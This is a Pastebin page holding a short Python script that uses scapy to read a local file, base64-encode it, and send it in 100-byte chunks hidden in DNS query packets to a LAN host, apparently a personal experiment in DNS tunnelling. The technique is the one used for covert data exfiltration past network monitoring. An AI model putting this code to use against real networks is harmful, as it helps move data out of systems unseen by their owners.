Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/python
- from time import sleep
- from scapy.all import *
- from random import randrange
- import base64
- f = open('/home/shay/Downloads/duckjpeg','rb')
- st=base64.b64encode(f.read())
- f.close()
- strlist=[]
- if len(st)<=100:
- strlist.append(st)
- while len(st)>100:
- strlist.append(st[:100])
- st=st[100:]
- if len(st)<100:
- strlist.append(st)
- num_of_seq=len(strlist)
- def pkt_send(ip,msg,st=None):
- l1=IP(dst=ip)
- l2=UDP(sport=randrange(4025,59999))
- l3=DNS(rd=1,qd=DNSQR(qname=msg))
- l4=Raw(load=st)
- pkt=l1/l2/l3/l4
- # pkt.show()
- res=sr(pkt,verbose=1,timeout=3)
- def send_file(strli):
- pkt_send('192.168.1.37',"pre",len(strlist))
- pkt_send('192.168.1.37',"start")
- print len(strli)
- sleep(2)
- for i in strli:
- pkt_send('192.168.1.37',str(strli.index(i)),i)
- print strli.index(i)
- send_file(strlist)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement